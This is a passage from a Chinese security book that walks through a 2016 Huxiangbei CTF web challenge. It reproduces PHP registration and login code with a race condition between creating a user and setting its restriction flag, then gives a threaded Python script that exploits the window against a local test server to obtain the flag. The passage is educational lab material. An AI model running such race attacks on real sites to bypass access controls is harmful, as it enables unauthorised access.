上QQ阅读APP看书,第一时间看更新
8.2 湖湘杯2016线上选拔赛Web实例
该题目通过备份文件的方式给出了源码,其中与解题相关的页面有两个,一个是注册页面register.php,一个是登录页面login.php,登录成功则会自动重定向到首页上。两个页面的源代码如下。
注册页面:
//register.php <?php include("connect.php"); $title = "AArt - Your home for ASCII Art"; include("header.html"); include("sidebar.php"); ?> <div class="flakes-content"> <div class="view-wrap"> <h1>注册</h1> </div> <?php if(isset($_POST['username'])){ $username = mysqli_real_escape_string($conn, $_POST['username']); $password = mysqli_real_escape_string($conn, $_POST['password']); $sql = "INSERT into users (username, password) values ('$username', '$password');"; mysqli_query($conn, $sql); $sql = "INSERT into privs (userid, isRestricted) values ((select users.id from users where username='$username'), TRUE);"; mysqli_query($conn, $sql); ?> <h2>注册成功!</h2> <?php } else { ?> <div class="grid-1"> <div class="span-1"> <fieldset> <legend>账户</legend> <form action="register.php" method="post"> <ul> <li> <label>用户名</label> <input type="text" name="username"> </li> <li> <label>密码</label> <input type="text" name="password"> </li> <li><input type="submit"></li> </ul> </form> </fieldset> </div> </div> <?php } ?> </div> <?php include("footer.html"); ?>
登录页面:
//login.php <?php include("connect.php"); $title = "AArt - ASCII字符艺术之家"; include("header.html"); include("sidebar.php"); ?> <div class="flakes-content"> <div class="view-wrap"> <h1>登录</h1> </div> <?php if(isset($_POST['username'])){ $username = mysqli_real_escape_string($conn, $_POST['username']); $sql = "SELECT * from users where username='$username';"; $result = mysqli_query($conn, $sql); $row = $result->fetch_assoc(); var_dump($_POST); var_dump($row); if($_POST['username'] === $row['username'] and $_POST['password'] === $row['password']){ ?> <h1>Logged in as <?php echo($username);?></h1> <?php $uid = $row['id']; $sql = "SELECT isRestricted from privs where userid='$uid' and isRestricted=TRUE;"; $result = mysqli_query($conn, $sql); $row = $result->fetch_assoc(); if($row['isRestricted']){ ?> <h2>此账户限制登录</h2> <?php }else{ ?> <h2><?php include('../flag');?></h2> <?php } ?> <h2>成功!</h2> <?php } } else { ?> <div class="grid-1"> <div class="span-1"> <fieldset> <legend>账户</legend> <form action="login.php" method="post"> <ul> <li> <label>用户名</label> <input type="text" name="username"> </li> <li> <label>密码</label> <input type="text" name="password"> </li> <li><input type="submit" value="Login"></li> </ul> </form> </fieldset> </div> </div> <?php } ?> </div> <?php include("footer.html"); ?>
分析login.php的代码可以了解到,只要满足$row['isRestricted']不为真或没有返回值(即查询为空),就能获取到flag。再来看看register.php的关键部分:
$sql = "INSERT into users (username, password) values ('$username', '$password');"; mysqli_query($conn, $sql); $sql = "INSERT into privs (userid, isRestricted) values ((select users.id from users where username='$username'), TRUE);"; mysqli_query($conn, $sql);
注册时的逻辑是先向users表中插入用户和密码,再向privs表中插入权限信息,所以两次数据库操作存在时间差。当我们在插入用户密码,但是还没有插入权限信息时登录,就能够获得flag了。
所以,同样的测试代码如下:
#题目与代码来源:https://github.com/iAklis/changelog-story
import requests import string import re import random import threading url_register = "http://127.0.0.1:8000/register.php" url_login = "http://127.0.0.1:8000/login.php" def register(data): requests.post(url_register, data=data) def login(data): S = requests.Session() R = S.post(url_login, data=data) content = R.content if 'flag' in content: print content def main(): while True: username = 'test' + '' .join(random.choice(string.ascii_letters) for i in range(5)) password = '123' data = { 'username' : username, 'password' : password} t1 = threading.Thread(target=register, args=(data,)) t2 = threading.Thread(target=login, args=(data,)) t1.start() t2.start() t1.join() t2.join() if __name__ == '__main__': import sys sys.exit(int(main() or 0))
最后附上数据库的结构,以便大家自己测试:
CREATE database if not exists aart; USE aart; DROP TABLE art; CREATE TABLE art ( id INT PRIMARY KEY AUTO_INCREMENT, title TEXT, art TEXT, userid INT, karma INT DEFAULT 0 ); DROP TABLE users; CREATE TABLE users ( id INT PRIMARY KEY AUTO_INCREMENT, username TEXT, password TEXT ); DROP TABLE privs; CREATE TABLE privs ( userid INT PRIMARY KEY, isRestricted BOOL );